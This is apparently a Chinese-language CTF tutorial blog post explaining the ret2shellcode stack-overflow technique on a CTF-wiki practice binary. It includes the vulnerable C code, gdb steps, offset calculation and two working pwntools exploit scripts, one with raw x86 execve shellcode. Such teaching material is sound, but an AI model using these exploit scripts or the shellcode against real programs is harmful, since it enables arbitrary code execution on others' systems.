author: bilala
0x00 前言
踩坑:kali中似乎自动将elf文件的bss段可执行权限抹除了,然后又在Ubuntu1604中搭环境,搞了好几天
0x01 相关概念
bss段:通常是指用来存放程序中未初始化的全局变量的一块内存区域。
data段:通常是指用来存放程序中已初始化的全局变量的一块内存区域。
text段:通常是指用来存放程序执行代码的一块内存区域。(在ida中伪代码对应的汇编就是在text段)
shellcode:shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(暂且就可理解为一段可以让我们获得shell的代码指令)
0x02 ret2shellcode原理
上一篇中有讲ret2text的前提是程序中已经给了危险函数的地址,不过如果程序中没有危险函数,那此时我们就可以写入shellcode来控制程序。写入shellcode后,再将ret返回地址改成shellcode所在的地址,那剩下的就和ret2text一样了。
前提是shellcode所在的缓冲区具有可执行权限。
再回顾一下栈溢出的过程,我们在ret2text中,脏数据是利用字符a
来填充,如果我们就单单把这些脏数据替换成shellcode显然也是没用的。所以还需要程序有将这段脏数据保存到缓冲区的功能,这时我们的shellcode就从脏数据所在位置转到了缓冲区,而缓冲区又有可执行权限的话,就可以执行shellcode了。
0x03 shellcode讲解
特开一篇,移步--> http://blog.bilala.top/?p=400
0x04 ret2shellcode例题分析
例题使用的是CTFwiki中的例题,先查看保护
什么也没开,在ida中查看main函数逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
跟进buf2
在bss段,且地址为0x804a080
用gdb动调文件
gdb-peda$ b main
gdb-peda$ r
gdb-peda$ vmmap
用vmmap
命令查看bss段权限
可以看到变量buf2所在的地方具有执行权限,利用在ret2text中的方法计算偏移量
还需要填充掉ebp的值,所以最终的脏数据长度为0x6C+4=0x70
,可以利用pwntools中自动生成的shellcode攻击
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(0x70, 'A') + p32(buf2_addr))
sh.interactive()
当然也可以用我们在shellcode讲解
中自己生成的shellcode
from pwn import *
sh = process('./ret2shellcode')
#shellcode = asm(shellcraft.sh())
shellcode = b'\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\x31\xD2\xB0\x0B\xCD\x80'
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(0x70, 'A') + p32(buf2_addr))
sh.interactive()
0x05 参考资料
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode
https://wiki.bi0s.in/pwning/stack-overflow/return-to-shellcode/#ret2shellcode
Comments | NOTHING